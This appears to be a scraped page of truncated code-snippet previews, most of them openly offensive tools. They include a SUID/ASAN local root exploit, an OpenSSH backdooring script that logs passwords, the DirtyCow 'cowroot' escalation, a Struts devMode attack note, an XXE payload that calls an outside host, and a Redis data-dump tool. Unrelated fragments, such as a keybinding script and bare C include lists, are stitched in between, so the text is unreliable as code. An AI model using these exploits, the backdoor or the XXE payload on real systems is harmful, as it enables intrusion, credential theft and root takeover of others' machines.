| #!/bin/bash | |
| # unsanitary.sh - ASAN/SUID Local Root Exploit | |
| # Exploits er, unsanitized env var passing in ASAN | |
| # which leads to file clobbering as root when executing | |
| # setuid root binaries compiled with ASAN. | |
| # Uses an overwrite of /etc/ld.so.preload to get root on | |
| # a vulnerable system. Supply your own target binary to | |
| # use for exploitation. | |
| # Implements the bug found here: http://seclists.org/oss-sec/2016/q1/363 | |
| # Video of Exploitation: https://www.youtube.com/watch?v=jhSIm3auQMk |
| #!/usr/bin/env python | |
| import re, collections | |
| from subprocess import * | |
| def sanitize_keybinding(binding): | |
| d = {'space': ' ', | |
| 'apostrophe': "'", | |
| 'BackSpace': ' (<-)', | |
| 'Return': '↵ \n', |
| #include <stdlib.h> | |
| #include <stdio.h> | |
| #include <ctype.h> | |
| #include <signal.h> | |
| #include <string.h> | |
| #include <unistd.h> // for usleep() only | |
| #include <sys/time.h> | |
| #include <sys/types.h> | |
| #include <time.h> |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <signal.h> | |
| #include <netdb.h> | |
| #include <string.h> | |
| #include <netinet/in.h> | |
| #include <X11/X.h> | |
| #include <X11/Xlib.h> | |
| #include <X11/Intrinsic.h> | |
| #include <X11/StringDefs.h> |
| #!/bin/bash | |
| # ============================================ | |
| # satyr's openssh autobackdooring doohicky v0.-1 | |
| # ImpendingSatyr@gmail.com | |
| # ============================================ | |
| # USAGE: | |
| # Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing). | |
| # If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything | |
| # (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc. | |
| # [it'll install them via apt or yum, whichever is available]). |
| #ifdef SHELL | |
| gcc -Wall -Werror $0 && ./a.out | |
| exit $? | |
| #endif | |
| #include <stdio.h> | |
| #include <unistd.h> | |
| #include <string.h> | |
| #include <stdlib.h> |
| /* | |
| * (un)comment correct payload first (x86 or x64)! | |
| * | |
| * $ gcc cowroot.c -o cowroot -pthread | |
| * $ ./cowroot | |
| * DirtyCow root privilege escalation | |
| * Backing up /usr/bin/passwd.. to /tmp/bak | |
| * Size of binary: 57048 | |
| * Racing, this may take a while.. | |
| * /usr/bin/passwd overwritten |
Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture. When having the application developed in so-called devMode as set in the struts.xml file:
<constant name="struts.devMode" value="true" />
Then the middleware will be handling additional parameters passed to every function invocation.
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| /* | |
| Dump data from open Redis instance. | |
| Usage: node redis_dump.js -h 10.10.0.1 | |
| node redis_dump.js -n 10 #dumps the first 10 keys from the instance | |
| node redis_dump.js -k keyname #dump the value of a specific key | |
| Author: etienne@sensepost.com | |
| Version: 1.0 12 February 2015 | |
| */ | |
| var redis = require("redis") |
